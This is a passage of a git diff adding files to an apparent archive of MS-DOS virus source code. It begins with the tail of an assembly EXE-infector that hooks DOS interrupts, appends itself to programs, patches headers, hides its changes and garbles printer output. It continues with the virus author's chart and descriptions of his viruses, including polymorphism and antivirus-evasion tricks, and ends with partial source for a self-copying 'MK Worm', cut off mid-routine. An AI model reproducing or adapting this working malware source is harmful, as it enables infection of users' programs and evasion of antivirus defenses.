0EAH +OLD8 DW 0,0 +; +; New INT 17 routine. Garble all outgoing characters. +; +NEW17: CMP AH,0 + JZ P0 +DO17: DB 0EAH +OLD17 DW 0,0 +P0: PUSH BX + XOR BX,BX + MOV BL,AL + ADD BX,OFFSET ERRTAB + MOV AL,CS:[BX] + POP BX + JMP DO17 +; +; This is the INT 21 replacement. It only does something in the case +; of an EXEC call. +; +NEW21: CMP AH,4BH + JE L5 +DO21: DB 0EAH +OLD21 DW 0,0 +; +; The code to only infect every tenth program has been removed +; +L5: PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH SI + PUSH DS +; +; Search for the file name extension ... +; + MOV BX,DX +L6: INC BX + CMP BYTE PTR [BX],'.' + JE L8 + CMP BYTE PTR [BX],0 + JNE L6 +; +; ... and quit unless it starts with "EX". +; +L7: POP DS + POP SI + POP DX + POP CX + POP BX + POP AX + JMP DO21 +L8: INC BX + CMP WORD PTR [BX],5845H + JNE L7 +; +; When an .EXE file is found, the virus starts by turning off +; the read-only attribute. The read-only attribute is not restored +; when the file has been infected. +; + MOV AX,4300H ; Get attribute + INT 21H + JC L7 + MOV AX,4301H ; Set attribute + AND CX,0FEH + INT 21H + JC L7 +; +; Next, the file is examined to see if it is already infected. +; The signature (4418 5F19) is stored in the last two words. +; + MOV AX,3D02H ; Open / write access + INT 21H + JC L7 + MOV BX,AX ; file handle in BX +; +; This part of the code is new: Get date of file. +; + MOV AX,5700H + INT 21H + JC L9 + MOV CS:[DATE1],DX + MOV CS:[DATE2],CX +; + PUSH CS ; now DS is no longer needed + POP DS +; +; The header of the file is read in at [ID+8]. The virus then +; modifies itself, according to the information stored in the +; header. (The original CS and IP addressed are stored). +; + MOV DX,OFFSET ID+8 + MOV CX,1CH + MOV AH,3FH + INT 21H + JC L9 + MOV AX,DS:ID[1CH] + MOV DS:[ORG_IP],AX + MOV AX,DS:ID[1EH] + ADD AX,10H + MOV DS:[ORG_CS],AX +; +; Next the read/write pointer is moved to the end of the file-4, +; and the last 4 bytes read. They are compared to the signature, +; and if equal nothing happens. +; + MOV AX,4202H + MOV CX,-1 + MOV DX,-4 + INT 21H + JC L9 + ADD AX,4 + MOV DS:[LEN_LO],AX + JNC L8A + INC DX +L8A: MOV DS:[LEN_HI],DX +; +; This part of the virus is new - check if it is below minimum length +; + CMP DX,0 + JNE L8B + MOV CL,13 + SHR AX,CL + CMP AX,0 + JG L8B + JMP SHORT L9 + NOP +L8B: MOV AH,3FH + MOV CX,4 + MOV DX,OFFSET ID+4 + INT 21H + JNC L11 +L9: MOV AH,3EH + INT 21H +L10: JMP L7 +; +; Compare to 4418,5F19 +; +L11: MOV SI,OFFSET ID+4 + MOV AX,[SI] + CMP AX,494DH + JNE L12 + MOV AX,[SI+2] + CMP AX,3158H + JE L9 +; +; The file is not infected, so the next thing the virus does is +; infecting it. First it is padded so the length becomes a multiple +; of 16 bytes. Tis is probably done so the virus code can start at a +; paragraph boundary. +; +L12: MOV AX,DS:[LEN_LO] + AND AX,0FH + JZ L13 + MOV CX,16 + SUB CX,AX + ADD DS:[LEN_LO],CX + JNC L12A + INC DS:[LEN_HI] +L12A: MOV AH,40H + INT 21H + JC L9 +; +; Next the main body of the virus is written to the end. +; +L13: MOV DX,0 ; Was: XOR DX,DX + MOV CX,OFFSET ID + 4 + MOV AH,40H + INT 21H + JC L9 +; +; Next the .EXE file header is modified: +; + JMP SHORT F0 ; some unnecessary instructions + NOP +; First modify initial IP +; +F0: MOV AX,OFFSET LABEL + MOV DS:ID[1CH],AX +; +; Modify starting CS = Virus CS. It is computed as: +; +; (Original length of file+padding)/16 - Start of load module +; + MOV DX,DS:[LEN_HI] + MOV AX,DS:[LEN_LO] + MOV CL,CS:[CONST1] ; Modified a bit + SHR DX,CL + RCR AX,CL + SHR DX,CL + RCR AX,CL + SHR DX,CL + RCR AX,CL + SHR DX,CL + RCR AX,CL + SUB AX,DS:ID[10H] + MOV DS:ID[1EH],AX +; +; Modify length mod 512 +; + ADD DS:[LEN_LO],OFFSET ID+4 + JNC L14 + INC DS:[LEN_HI] +L14: MOV AX,DS:[LEN_LO] + AND AX,511 + MOV DS:ID[0AH],AX +; +; Modify number of blocks used +; + MOV DX,DS:[LEN_HI] + MOV AX,DS:[LEN_LO] + ADD AX,511 + JNC L14A + INC DX +L14A: MOV AL,AH + MOV AH,DL + SHR AX,1 + MOV DS:ID[0CH],AX +; +; Finally the modified header is written back to the start of the +; file. +; +QQQ: MOV AX,4200H + MOV CX,0 ; was XOR CX,CX + AND DX,CS:[CONST0] ; was XOR DX,DX + INT 21H + JC ENDIT + MOV AH,40H + MOV DX,OFFSET ID+8 + MOV CX,1CH + INT 21H +; +; This part is new: Restore old date. +; + MOV DX,CS:[DATE1] + MOV CX,CS:[DATE2] + MOV AX,5701H + INT 21H + JC ENDIT + INC WORD PTR CS:[NOINF] +; +; Infection is finished - close the file and execute it +; +ENDIT: JMP L9 +; +; + DW 0 + +VIDEOT: DW 0000H, 07D0H, 0B800H + DW 0000H, 07D0H, 0B800H + DW 0000H, 0FA0H, 0B800H + DW 0000H, 0FA0H, 0B800H + DW 0001H, 4000H, 0B800H + DW 0001H, 4000H, 0B800H + DW 0001H, 4000H, 0B800H + DW 0000H, 0FA0H, 0B000H + DW 0001H, 3E80H, 0B000H + DW 0001H, 7D00H, 0B000H + DW 0001H, 7D00H, 0B000H + DW 0002H, 0000H, 0000H + DW 0002H, 0000H, 0000H + DW 0001H, 7D00H, 0A000H + DW 0001H, 0FA00H, 0A000H + DW 0001H, 6D60H, 0A000H + DW 0002H, 0000H. 0000H + + DW 0 + +ERRTAB DB 00H,01H,02H,03H,04H,05H,06H,07H,08H,09H,0BH,0AH,0CH,0DH,0EH,0FH + DB 10H,11H,12H,13H,14H,15H,16H,17H,18H,19H,1BH,1AH,1CH,1DH,1FH,1EH + DB 20H,21H,22H,23H,24H,25H,26H,27H,29H,28H,2AH,2DH,2CH,2BH,2EH,2FH + DB 30H,31H,32H,33H,34H,35H,36H,37H,38H,39H,3AH,3BH,3EH,3DH,3CH,3FH + DB 40H,42H,45H,43H,44H,41H,50H,47H,48H,59H,4AH,4BH,4CH,4DH,4EH,55H + DB 46H,51H,52H,53H,54H,4FH,56H,57H,58H,49H,5AH,5DH,5CH,5BH,5EH,5FH + DB 60H,65H,62H,73H,64H,61H,70H,67H,68H,65H,6AH,6BH,6CH,6DH,6EH,75H + DB 66H,71H,72H,63H,74H,6FH,76H,77H,78H,79H,7AH,7DH,7CH,7BH,7EH,7FH + DB 92H,81H,82H,83H,84H,85H,86H,8BH,9AH,89H,8AH,87H,8CH,8DH,8EH,8FH + DB 90H,99H,80H,93H,94H,95H,96H,97H,98H,91H,88H,9BH,9CH,9DH,9EH,9FH + DB 0A0H,0A1H,0A2H,0A3H,0A4H,0A5H,0A6H,0A7H,0A8H,0A9H,0BBH,0ABH,0ACH + DB 0B0H,0B1H,0B2H,0B3H,0B4H,0B5H,0B6H,0B7H,0B8H,0B9H,0BAH,0AAH,0D9H + DB 0C8H,0C1H,0C2H,0C3H,0C4H,0C5H,0C6H,0C7H,0C0H,0A9H,0CAH,0CBH,0CCH + DB 0D0H,0D1H,0D2H,0D3H,0D4H,0D5H,0D6H,0D7H,0D8H,0BCH,0DAH,0DBH,0DCH + DB 0E0H,0E1H,0E2H,0E3H,0E4H,0E5H,0E6H,0E7H,0E8H,0E9H,0EAH,0EBH,0ECH + DB 0F0H,0F1H,0F2H,0F3H,0F4H,0F5H,0F6H,0F7H,0F8H,0F9H,0FAH,0FBH,0FCH + +CONST1 DB 1 ; Just the constant 1 +CONST0 DW 0 ; The label says it all +MIN60 DB 0 ; Flag, set to 1 60 minutes after execution +MIN50 DB 0 ; Flag, set to 1 50 minutes after execution +VMODE DB 0 ; Video mode +MAXLIN DB 24 +MYCOL DB 0 ; Position of ball on screen +MYLINE DB 0 ; ditto. +ONSCREEN DB ? ; Previous character on the screen +UPDOWN DB 0 ; Direction of ball (up or down) +LEFTRIGHT DB 0 ; Direction (left or right) +SCRCOL DB ? +SCRLINE DB ? +DATE1 DW ? ; Date of file +DATE2 DW ? ; ditto. +TIMER DW 0 ; Number of timer (INT 8) ticks +LEN_LO DW ? +LEN_HI DW ? +NOINF DW 0 ; Number of infections +ID ABRAX WORD + DB "MIX1" ; The signature of the virus. +; +; A buffer, used for data from the file. +; + +VIRUS ENDP +CODE ENDS + + END ABRAX diff --git a/MSDOS/Virus.MSDOS.Unknown.mk-chart.txt b/MSDOS/Virus.MSDOS.Unknown.mk-chart.txt new file mode 100644 index 00000000..6e9642c9 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.mk-chart.txt @@ -0,0 +1,72 @@ + + Virus relationship charts of Masud Khafir's viruses + =================================================== + + + +Gotcha F (732) + ĆÄÄ Gotcha E (607) + ĄÄÄ Gotcha A (879) + ĄÄÄ Gotcha B (881) + ĄÄÄ Gotcha C (906) + ĄÄÄ Gotcha D (627) + ĆÄÄ Pogue + ĄÄÄ Legalize + ĄÄÄ Coffeeshop 1 + ĆÄÄ Coffeeshop 2 + ĄÄÄ Coffeeshop 3 (Girafe A) + ĄÄÄ Coffeeshop 4 (Girafe B) + ĆÄÄ Cruncher 1.0 + ³ ĄÄÄ Cruncher 2.0 + ³ ĄÄÄ Cruncher 2.1 + ĆÄÄ PlayGame + ĄÄÄ Bosnia + + +Seventh son 350 + ĄÄÄÄÄ Seventh son 332 + ĄÄÄÄÄ Seventh son 284 + ĄÄÄÄÄ DOS-1 + + +Little Brother 299 + ĆÄÄÄÄ Little Brother 307 + ³ ĆÄÄÄÄ Little Brother 321 + ³ ĄÄÄÄÄ Little Brother 349 (Vote) (*) + ³ ĄÄÄÄÄ Little Brother 361 (Vote-Erase) (*) + ĄÄÄÄÄ Little Brother 300 (*) + + +Cannabis 1 + ĄÄÄÄÄ Cannabis 2 + ĄÄÄÄÄ Cannabis 3 + ĄÄÄÄÄ Cannabis 4 (*) + + +Dutch Tiny 126 + ĆÄÄÄÄ Dutch Tiny 124 + ³ ĄÄÄÄÄ Dutch Tiny 122 + ĄÄÄÄÄ Dutch Tiny 124B + + +Dutch Mini 99 + ĄÄÄÄÄ Dutch Mini 97 + ĆÄÄÄÄ Dutch Mini 91 + ĆÄÄÄÄ Dutch Mini 117 + ĄÄÄÄÄ Dutch Mini 111 + + +46-Virus + ĄÄÄÄÄ PCA virus + + +ANSI-Virus + +Virus_for_Windows 1.4 + +MK-Worm + + + + +(*) Note: The viruses marked with (*) are NOT written by Masud Khafir! diff --git a/MSDOS/Virus.MSDOS.Unknown.mkvirlst.txt b/MSDOS/Virus.MSDOS.Unknown.mkvirlst.txt new file mode 100644 index 00000000..79326235 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.mkvirlst.txt @@ -0,0 +1,450 @@ +Gotcha 1 + + This was the first virus I wrote. It is a resident COM and EXE infector. + It infects programs when they are executed. It hides at the top of + conventional memory. When infecting it intercepts INT24, circumvents + the read-only attribute and disables Ctrl-Break. It also restores the + original file date and time after the infection. Some parts of it were + taken from the Yankee Doodle virus, but nevertheless this is an enterly + new virus. + + +Gotcha 4 + + This is a resident COM infector. It is a stripped-down variant of + version 1. The special thing about this virus is that it contains + scan-strings of a few other viruses. These scan-strings are encrypted + and in every infected file one of them is decrypted. So scanners can be + fooled to think that there are up to 8 differrent other viruses in case + a lot of files have been infected with this virus. + + +Gotcha 6 + + This version is the follow-up of version 1. This one has some additional + features. It can also infect files when they are opened, it avoids to + infect files matching the name *AN*.* (like SCAN.EXE, CLEAN.EXE, + TBSCAN.EXE etc...) and it won't infect files when the DOS environment + contains "E=mcż". + + +Gotcha 7 + + This is a minor bug-fix of version 6. + + +Gotcha 9 + + In this next version a few bugs are removed and the code has been made + a little bit efficient. It can also infect files on more different DOS + funcions like rename (56h), attribute (43h), findfirst (4Eh) and many + others. It now also avoids files matching the name V*.* (like VIRX.EXE, + VSHIELD.EXE, etc..). + + +Gotcha 17 + + This version is quite different from the others. It uses another technique + to access files, similar as many bulgarian viruses (like 512). Also other + things are made more efficient. This one only infects files when they are + executed or closed. It now also avoids files matching the name F*.*. + + +46 Virus + + This is an extremely simple virus. It just overwrites all COM files in + it's directory with a copy of itself. It's length is 46 bytes, hence the + name. + + +Seventh Son 1 + + This is a simple non-resident COM infecting virus. It will infect all + other COM files in it's directory. It circumvents read-only attributes, + intercepts INT24, disables Ctrl-break and keeps the original file date + and time when infecting. The virus contains a generation counter. If + both his own and the previous generation are 7, it will display the text + "Seventh son of a seventh son" on the screen. This virus was named after + an Iron Maiden song (yes, I admit, not very original). + + +Seventh Son 2 + + This version is a little bit smaller and more efficiently coded. This + virus alsos contain the text 'Virus' in cyrilic (‚ذ³±) at the end. This + has no special purpose. Just to confuse some people. + + +Seventh son 4 + + This version is again made smaller and more efficient. + + +Little Brother 1 + + This is a resident spawning EXE infector. It infects EXE files by + creating a COM file with the same name, without touching the EXE file. + The COM file only contains the complete virus. The first time the virus + is executed it will install itself in an unused part of memory (and not + run the original program). When DOS wants to execute a program, the virus + uses a clumsy algorithm to decide whether a COM or an EXE file should be + executed. + + +Little Brother 2 + + In this version a few bugs are removed and it is also a bit more + efficiently coded. + + +Little Brother 3 + + This version works a little bit different than the previous two. This + one doesn't use the resident algorithm anymore to decide wether to + execute a COM or an EXE file. Instead the original EXE program is + spawned from the COM program (the virus). + + +Tiny 126 + + This is a small resident COM infecting virus. It is written as an attempt + to write the smallest possible virus. The length of this virus is 126 + bytes. It does NOT re-infect programs that are already infected. This + virus hides in memory at address 0050:0100. + + +Tiny 124 + + This one is exactly the same as the previous one, only it hides at address + 0000:0100. That location is part of the interrupt area, and because of + that this virus is very unstable. It crashes very often, but nevertheless + it is able to infect files. + + +Tiny 124B + + This is a variant of version 126. It will not infect COM files that begin + with a near JMP (E9h). This version has a disadvantage that it also tries + to infect EXE files. Infected EXE files will not function anymore. + + +Tiny 122 + + This one is based on version 124. It has the same disadvantage as + version 124B. + + +Mini 99 + + This is a small non-resident COM infecting virus. Like the previous + mentioned viruses, this one too was written as an attempt to write the + smallest possible virus. A big part of the code is similar although it + is a different type of virus. This virus will infect all COM files in + it's directory. + + +Mini 97 + + This version is 2 bytes smaller. It will not infect COM files that begin + with a near JMP (E9h). + + +Mini 91 + + This version only tries to infect the first COM file in it's directory. + + +Mini 117 + + This one is a little bit improved variant. It will infect only the first + uninfected COM file in it's directory (if the first one is infected it + will infect the second one). + + +Mini 111 + + This is an improved version of Mini 97. This one will keep the original + DTA area, so programs that use command-line input will still function. + + +Cannabis 1 + + This is an overwriting floppy bootsector virus. It is a sort of + combination of a (simplified) bootsector and a virus. Instead of + keeping the original bootsector somewhere else on the disk, it just + overwrites the original bootsector. When an infected floppy is booted, + the virus installs itself in memory and then prints the message + "Non-System disk or disk error Replace and press a key when ready" on + the screen. Then it tries to boot again. One has to boot from another + disk or from harddisk to continue. But the virus will stay resident + in memory. Sometimes the virus will print the message "Hey man, I don't + wanna work. I'm too stoned right now..." on the screen when booting, and + the computer will then hang. + + +Cannabis 2 + + Unlike the previous version, this one is able to boot from the infected + disk, just like normal bootsectors. It doesn't contain the part that + writes the "Hey man..." message anymore. + + +Cannabis 3 + + This is a minor bug-fix of version 2. The previous versions had a serious + bug that they sometimes wrote to the wrong side of the floppy. + + +Pogue Mahone + + This one is the most famous virus of this collection. It is a resident + COM infecting virus. It's based on the last version of the Gotcha virus. + The most remarkable thing about this virus is that it uses the Mutation + Engine (MtE). The Mutation Engine is a small module written by "Dark + Avenger", which can be included in viruses to make them polymorphic. + This virus does not infect files matching the name CO*.COM (like + COMMAND.COM). When the virus becomes resident between 1:00 and 9:00 + it will play the song 'Streams of Whiskey' (by The Pogues!). On the first + of May it will play another song. + + +Redhair ANSI bomb + + This is not a virus but an ANSI bomb. Unlike most other bombs this one + does not destroy anything. This bomb is in fact both an ANSI picture and + a COM file. The COM file is infected with the MINI-117 virus. When the + ANSI bomb triggers (when the backslash key is pressed) it will rename + itself to X.COM and then execute X.COM. So the virus is then activated! + After that it changes it's name back to REDHAIR.ANS. + + +ANSI virus + + This is another program that uses ANSI techniques. It's not just an ANSI + bomb but an ANSI virus! Many people think ANSI viruses don't exist, but + this one proves them wrong. This one uses the same trick as Redhair, it's + at the same time an ANSI picture and a COM program. When activated, it + will overwrite one .ANS file in the directory with a copy of itself. It + adjusts the text in the virus to the victim's filename. + + +Legalize + + This is another virus that is based on Gotcha 17. It is a resident + COM and EXE infector. It doesn't infect CO*.*. The special thing about + this virus is that it will display a picture of a large green hemp leaf + when the virus becomes resident on fridays. After showing the picture, + the virus will ask the user a few questions about what he/she thinks + about legalizing cannabis. After this, the virus will quit to DOS. + The picture in the virus is packed with DIET to keep the virus small. + A few small bugs from Gotcha 17 are fixed in this virus, but unfortunatly + this virus has a new bug which causes some infected EXE programs to crash. + + +Coffeeshop 1 + + This one is based on Gotcha 17 and Legalize. Originally it was planned + to be a final bug-free version of Gotcha, but later I put the picture + routine from Legalize in it. Although it is based on Gotcha 17, a large + part of it has changed. It infects COM or EXE files when it is executed + or opened with DOS function 6C00h. It avoids to infect several known + programs that use a self-check (like most virus scanners). It also doesn't + infect several other files, like Windows files, files with internal + overlays etc. The virus doesn't use any undocumented features of DOS + anymore. I wanted it to be as compatible as possible. The picture routine + is also improved. It activates on fridays on a pseudo-random base when the + virus becomes resident. It will then show the big green hemp leaf and + after that it will continue with the original program (unlike Legalize). + + +Coffeeshop 2 + + This virus is very similar to the previous one, but with MtE included. + It only infects EXE files. At the time this virus was made a lot of + scanners claimed that they were able to detect MtE, but none of them + could detect this virus. + + +Coffeeshop 3 + + This one too is very similar to the previous ones. Like version 2, + this one is also highly polymorphic. But instead of using MtE, I wrote + the encrytion routine myself. It infects both COM and EXE files. + + +Coffeeshop 4 + + This is a minor bugfix of version 3. This one can also activate when + the virus is already resident. + + +Virus_for_Windows 1.4 + + This is a primitive non-resident virus that only infects Windows EXE + program. As far as I know this is the first known Windows virus. It + will try to infect all Windows EXE files in its directory. This virus + has a big problem, it is not able to execute the original program. + As a solution to this the virus will disinfect itself after infecting + the other programs. So one has to execute infected programs twice to + execute the original program. This virus will only infect programs which + have a big enough data-segment. + + +MK Worm + + This is not a real virus, but some simple kind of worm. It does not + infect programs in any way. Instead it will only copy itself to a few + other directories on the disk from which it was executed. Each variant + will have a different name and also their lenghts will be slightly + different. It can spread because many people are used to try out every + new executable file they get, and many people often use the command + 'COPY *.*'. + + +Cruncher 1.0 + + This is a virus that uses data-compression. It is a resident COM + infector, based on the Coffeeshop series. It compresses the victim file + after infection. So the virus will be compressed together with the + original program. The compression algorithm is the same as that of the + program 'Diet'. + + +Cruncher 2.0 + + This version also infects EXE files. + + +Cruncher 2.1 + + This version is almost equal to version 2.0 but this one asks permission + from the user before going resident. This feature changes it from a + naughty virus into a userfriendly automatic compression utility! + + +TPE 1.1 + + This is an OBJ module that can be linked to a virus to make it + polymorphic. It can be used in a similar way as the famous MtE + module. The encryption routine of TPE is taken from Coffeeshop + version 3/4. + + +TPE 1.2 + + This is a bugfix. The previous version often produced decryption + routines that didn't work on all processor types. + + +TPE 1.3 + + This is a another bugfix. This version is made fully relocatable + within a memory segment, which is very handy for non-resident + viruses. Also another incompatibility bug is fixed. + + +TPE 1.4 + + In this version the encryption/decryption algorithms are made more + complex. The previous versions could be detected by decrypting the + encrypted code. + + +PlayGame + + This is a semi-stealth multi-partite EXE-infector. This virus infects + the master bootsector of the harddisk when an infected program is + executed. The virus only uses stealth techniques when a known anti-virus + program is executed or at the 'DIR' command. The payload of this virus + is a little arcade game that the user can play for fun. It activates in + december after 21:00. + + +DOS-1 + + This is a simple non-resident COM infector. It uses only FCB function + calls, so it is compatible with all previous DOS versions, including + version 1.0. + + +Bosnia + + This is a variant of Coffeeshop 3/4, but with another picture routine. + The TPE 1.4 module is linked with this virus. + + +PCA virus + + This is a very simple overwriting virus. After infecting it shows a + picture of the mascotte of the dutch magazine "PC Active". The picture + inside the virus is compressed in a special way, to keep the virus + small. + + +============================================================================== + + Virus Characteristics List + + +ANSI keyboard remap-------------------+ +Polymorphic-------------------------+ | +Infects Windows EXE files---------+ | | +Infects EXE files---------------+ | | | +Infects COM files-------------+ | | | | +Memory Resident-------------+ | | | | | +Overwriting---------------+ | | | | | | +Bootsector virus--------+ | | | | | | | + | | | | | | | | + V V V V V V V V Length +--------------------------------------------------- +Gotcha 1 . . R C E . . . 732 +Gotcha 4 . . R C . . . . 607 +Gotcha 6 . . R C E . . . 879 +Gotcha 7 . . R C E . . . 881 +Gotcha 9 . . R C E . . . 906 +Gotcha 17 . . R C E . . . 627 +46 Virus . O . C . . . . 46 +Seventh Son 1 . . . C . . . . 350 +Seventh Son 2 . . . C . . . . 332 +Seventh Son 4 . . . C . . . . 284 +Little Brother 1 . . R . E . . . 299 +Little Brother 2 . . R . E . . . 307 +Little Brother 3 . . R . E . . . 321 +Tiny 126 . . R C . . . . 126 +Tiny 124 . . R C . . . . 124 +Tiny 124B . . R C E . . . 124 +Tiny 122 . . R C E . . . 122 +Mini 99 . . . C . . . . 99 +Mini 97 . . . C . . . . 97 +Mini 91 . . . C . . . . 91 +Mini 117 . . . C . . . . 117 +Mini 111 . . . C . . . . 111 +Cannabis 1 B O R . . . . . 512 +Cannabis 2 B O R . . . . . 512 +Cannabis 3 B O R . . . . . 512 +Pogue Mahone . . R C . . P . 3017+ +Redhair ANSI bomb . . . . . . . A - +ANSI virus . O . . . . . A 881 +Legalize . . R C E . . . 1781 +Coffeeshop 1 . . R C E . . . 1568 +Coffeeshop 2 . . R . E . P . 3792+ +Coffeeshop 3 . . R C E . P . 3000+ +Coffeeshop 4 . . R C E . P . 3000+ +Virus_for_Windows 1.4 . . . . . W . . 854 +MK Worm . . . . . . . . 715+ +Cruncher 1.0 . . R C . . . . 2092- +Cruncher 2.0 . . R C E . . . 4000- +Cruncher 2.1 . . R C E . . . 4800- +TPE 1.1 . . . . . . P . 1378 +TPE 1.2 . . . . . . P . 1355 +TPE 1.3 . . . . . . P . 1411 +TPE 1.4 . . . . . . P . 1637 +PlayGame B . R . E . . . 2000 +Dos-1 . . . C . . . . 184 +Bosnia . . R C E . P . 3112+ +PCA virus . O . C . . . . 342 + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄ> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <ÄÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ diff --git a/MSDOS/Virus.MSDOS.Unknown.mkworm.asm b/MSDOS/Virus.MSDOS.Unknown.mkworm.asm new file mode 100644 index 00000000..6cce173d --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.mkworm.asm @@ -0,0 +1,467 @@ +;********************************************************************** +;* +;* MK Worm +;* +;* Compile with MASM 4.0 +;* +;********************************************************************** + +cseg segment + assume cs:cseg,ds:cseg,es:cseg + .radix 16 + org 0100 + + +wormlen equ 8 +filelen equ eind - begin +old_dir equ eind +DTA equ offset eind + 100d + + +;********************************************************************** +;* Main program +;********************************************************************** + +begin: call rnd_init + + mov bp,DTA ;change DTA + call set_DTA + + mov ah,47 ;get name of current directory + cwd + mov si,offset old_dir + int 21 + + mov dx,offset root_dir ;goto root + call chdir + + call search ;search directory's + + mov dx,offset old_dir ;goto original directory + call chdir + + call rnd_get ;go resident? + and al,0F + jz go_res + + int 20 + +go_res: mov ax,351C ;go resident! + int 21 + lea si,oldvec + mov [si],bx + mov [si+2],es + lea dx,routine + mov ax,251C + int 21 + mov dx,offset eind + int 27 + + +;********************************************************************** +;* search dir +;********************************************************************** + +search: mov dx,offset dirname ;search *.* + mov cx,16 + mov ah,4E +finddir: int 21 + jc no_dir + + test byte ptr [bp+15],10 ;directory? + je next_dir + cmp byte ptr [bp+1E],'.' ;is it '.' or '..' ? + je next_dir + + lea dx,[bp+1E] ;goto directory + call chdir + lea bp,[bp+2C] ;change DTA + call set_DTA + + call search ;searc directory (recurse!) + + lea bp,[bp-2C] ;goto previous DAT + call set_DTA + mov dx,offset back_dir ;'CD ..' + call chdir + +next_dir: mov ah,4F ;find next + jmp short finddir + +no_dir: call rnd_get ;copy worm to this directory? + and al,3 + jnz no_worm + + mov dx,offset comname ;search *.com + mov ah,4E + mov cx,06 +findcom: int 21 + jc makeit + + mov ax,word ptr [bp-1A] ;worm already there? + sub ax,filelen + cmp ax,10 + jnb no_worm + + mov ah,4F + jmp short findcom + + +makeit: call makeworm ;copy the worm! + +no_worm: ret + + +;********************************************************************** +;* change dir +;********************************************************************** + +chdir: mov ah,3Bh + int 21 + ret + + +;********************************************************************** +;* set DTA +;********************************************************************** + +set_DTA: mov dx,bp + mov ah,1A + int 21 + ret + + +;********************************************************************** +;* create worm +;********************************************************************** + +makeworm: mov ah,5A ;create unique filename + xor cx,cx + mov dx,offset filename + mov si,offset restname + mov byte ptr [si],0 + int 21 + xchg ax,bx + + mov ah,40 ;write worm + mov cx,filelen + mov dx,0100 + int 21 + + call rnd_get ;append a few bytes + and ax,0F + xchg ax,cx + mov dx,0100 + mov ah,40 + int 21 + + mov ah,3E ;close file + int 21 + + lea di,[si+13d] ;copy filename + push di + push si + movsw + movsw + movsw + movsw + mov si,offset comname+1 + movsw + movsw + movsb + + pop dx ;rename file to .COM + pop di + mov ah,56 + int 21 + + ret + + +;********************************************************************** +;* new int 1C handler +;********************************************************************** + +routine: cli ;save registers + push ds + push es + push ax + push bx + push cx + push dx + push si + push di + + push cs + push cs + pop ds + pop es + +zzz3: inc byte ptr [count] + mov al,byte ptr [count] + test al,1 ;only every 2nd tick + jz nothing + cmp al,3 ;don't change direction yet + jb zzz2 + call rnd_get + and al,3 ;change direction? + jnz zzz2 + +zzz0: call dirchange ;change direction! + mov al,byte ptr [direction] + xor al,byte ptr [old_direc] + and al,1 + jz zzz0 ;90 degrees with old direction? + +zzz2: call getnext ;calculate next position + call checknext ;does it hit the border? + jc zzz0 + + mov al,byte ptr [direction] ;save old direction + mov byte ptr [old_direc],al + call moveworm + + mov ah,0F ;ask video mode + int 10 + cmp al,7 + jz goodmode + cmp al,4 + jnb nothing + cmp al,2 + jb nothing + +goodmode: mov ah,3 ;read cursor position + int 10 + push dx + + call printworm + + pop dx ;restore cursor position + mov ah,2 + int 10 + +nothing: pop di + pop si + pop dx + pop cx + pop bx + pop ax + pop es + pop ds + sti + + jmp cs:[oldvec] ;original vector + +oldvec dd 0 + + +;********************************************************************** +;* changes direction of worm +;********************************************************************** + +dirchange: call rnd_get ;get random numbar + and al,2 + mov ah,byte ptr [direction] ;change direction 90 degrees + xor ah,0FF + and ah,1 + or ah,al + mov byte ptr [direction],ah + mov byte ptr [count],0 + ret + + +;********************************************************************** +;* finds next position of the worm +;********************************************************************** + +getnext: mov al,byte ptr [yval+wormlen] + mov byte ptr [yval+wormlen+1],al + mov al,byte ptr [xval+wormlen] + mov byte ptr [xval+wormlen+1],al + + mov ah,byte ptr [direction] + cmp ah,3 + je is_3 + cmp ah,2 + je is_2 + cmp ah,1 + je is_1 + +is_0: mov al,byte ptr [yval+wormlen] ;up + dec al + mov byte ptr [yval+wormlen+1],al + ret + +is_1: mov al,byte ptr [xval+wormlen] ;left + dec al + dec al + mov byte ptr [xval+wormlen+1],al + ret + +is_2: mov al,byte ptr [yval+wormlen] ;down + inc al + mov byte ptr [yval+wormlen+1],al + ret + +is_3: mov al,byte ptr [xval+wormlen] ;right + inc al + inc al + mov byte ptr [xval+wormlen+1],al + ret + + +;********************************************************************** +;* checks if worm will hit borders +;********************************************************************** + +checknext: mov al,byte ptr [xval+wormlen+1] + cmp al,0 + jl fout + cmp al,80d + jae fout + + mov al,byte ptr [yval+wormlen+1] + cmp al,0 + jl fout + cmp al,25d + jae fout + + clc + ret +fout: stc + ret + + +;********************************************************************** +;* move the worm +;********************************************************************** + +moveworm: mov si,offset xval+1 + lea di,[si-1] + mov cx,wormlen+1 + rep movsb + mov si,offset yval+1 + lea di,[si-1] + mov cx,wormlen+1 + rep movsb + ret + + +;********************************************************************** +;* print the worm on screen +;********************************************************************** + +printworm: mov si,offset xval + call move + mov al,20 ;print space on rear end + call print + mov cx,wormlen-1 +lup: call move + mov al,0F ;print dots + call print + loop lup + call move + mov al,2 ;print head of worm + call print + ret + + +;********************************************************************** +;* move the cursor +;********************************************************************** + +move: mov ah,[si+wormlen+2] + lodsb + xchg ax,dx + mov ah,02 + int 10 + ret + + +;********************************************************************** +;* print a character +;********************************************************************** + +print: push cx + mov ah,09 + mov bl,0C + mov cx,1 + int 10 + pop cx + ret + + +;**************************************************************************** +;* random number generator +;**************************************************************************** + +rnd_init: push cx + call rnd_init0 + and ax,000F + inc ax + xchg ax,cx +random_lup: call rnd_get + loop random_lup + pop cx + ret + +rnd_init0: push dx ;initialize generator + push cx + mov ah,2C + int 21 + in al,40 + mov ah,al + in al,40 + xor ax,cx + xor dx,ax + jmp short move_rnd + +rnd_get: push dx ;calculate a random number + push cx + push bx + mov ax,0 + 